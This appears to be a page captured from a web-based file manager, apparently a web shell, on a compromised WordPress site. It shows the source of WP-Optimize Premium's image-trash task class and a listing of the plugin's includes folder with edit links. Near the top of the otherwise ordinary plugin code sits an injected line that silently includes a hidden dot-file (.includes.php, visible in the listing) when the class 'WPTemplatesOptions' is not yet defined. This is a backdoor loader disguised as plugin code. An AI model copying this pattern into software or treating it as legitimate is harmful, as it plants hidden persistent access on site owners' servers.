PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wp-optimize-premium.3.0.16
/
includes
<?php if (!defined('ABSPATH')) die('Access denied.'); if (!class_exists('Updraft_Task_1_1')) require_once(WPO_PLUGIN_MAIN_PATH . 'vendor/team-updraft/common-libs/src/updraft-tasks/class-updraft-task.php'); if (!class_exists('WP_Optimize_Images_Trash_Task')) : if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class WP_Optimize_Images_Trash_Task extends Updraft_Task_1_1 { /** * Runs the task * * @return bool - true if complete, false otherwise */ public function run() { $this->set_status('active'); // move to trash task. if ('move_image_to_trash' == $this->get_type()) { $image_id = $this->get_option('image_id'); $file = $this->get_option('file'); $blog_id = $this->get_option('blog_id'); $result = WP_Optimize_Images_Trash_Manager::instance()->move_image_to_trash($image_id, $file, $blog_id); if (!is_wp_error($result)) { $success_count = WP_Optimize_Images_Trash_Manager::instance()->get_stat_value('move_image_to_trash_success', 0) + 1; WP_Optimize_Images_Trash_Manager::instance()->update_stat_value('move_image_to_trash_success', $success_count); } else { $failure_count = WP_Optimize_Images_Trash_Manager::instance()->get_stat_value('move_image_to_trash_failure', 0) + 1; WP_Optimize_Images_Trash_Manager::instance()->update_stat_value('move_image_to_trash_failure', $failure_count); } } // restore from trash task. if ('restore_image_from_trash' == $this->get_type()) { $filename = $this->get_option('file'); $result = WP_Optimize_Images_Trash_Manager::instance()->restore_from_trash($filename); if (!is_wp_error($result)) { $success_count = WP_Optimize_Images_Trash_Manager::instance()->get_stat_value('restore_image_from_trash_success', 0) + 1; WP_Optimize_Images_Trash_Manager::instance()->update_stat_value('restore_image_from_trash_success', $success_count); } else { $failure_count = WP_Optimize_Images_Trash_Manager::instance()->get_stat_value('restore_image_from_trash_failure', 0) + 1; WP_Optimize_Images_Trash_Manager::instance()->update_stat_value('restore_image_from_trash_failure', $failure_count); } } return true; } } endif;
[+]
..
[-] class-updraft-logger-interface.php
[edit]
[-] class-updraft-logger.php
[edit]
[-] wp-optimize-notices.php
[edit]
[-] class-updraft-resmushit-task.php
[edit]
[-] class-wp-optimize-htaccess.php
[edit]
[-] class-wp-optimize-install-or-update-notice.php
[edit]
[-] class-wp-optimize-queue-task.php
[edit]
[-] class-updraft-smush-task.php
[edit]
[-] class-wp-optimization.php
[edit]
[-] class-wp-optimize-lazy-load.php
[edit]
[-] class-wp-optimize-transients-cache.php
[edit]
[-] backward-compatibility-functions.php
[edit]
[-] class-updraft-email-logger.php
[edit]
[-] class-wp-optimize-updates.php
[edit]
[-] class-semaphore.php
[edit]
[-] class-updraft-nitrosmush-task.php
[edit]
[-] class-wp-optimize-gzip-compression.php
[edit]
[-] class-commands.php
[edit]
[-] class-wp-optimize-browser-cache.php
[edit]
[-] class-updraft-log-levels.php
[edit]
[-] class-updraft-php-logger.php
[edit]
[-] class-wp-optimizer.php
[edit]
[-] class-wp-optimize-images-trash-task.php
[edit]
[-] class-wp-optimization-images-shutdown.php
[edit]
[-] class-updraftcentral-wp-optimize-commands.php
[edit]
[-] class-updraft-smush-manager-commands.php
[edit]
[-] updraftcentral.php
[edit]
[-] class-wp-optimize-tasks-queue.php
[edit]
[-] class-updraft-file-logger.php
[edit]
[-] wp-optimize-database-information.php
[edit]
[-] class-updraft-ring-logger.php
[edit]
[-] class-wp-optimize-cron-scheduler.php
[edit]
[-] class-updraft-syslog-logger.php
[edit]
[-] class-wp-optimize-images-trash-manager.php
[edit]
[-] class-updraft-smush-manager.php
[edit]
[-] class-wp-optimize-images-trash-manager-commands.php
[edit]
[-] updraft-notices.php
[edit]
[-] class-updraft-slack-logger.php
[edit]
[-] class-wp-optimize-cli-command.php
[edit]
[-] class-wp-optimize-options.php
[edit]
[-] class-updraft-abstract-logger.php
[edit]
[-] .includes.php
[edit]
[-] class-updraft-simple-history-logger.php
[edit]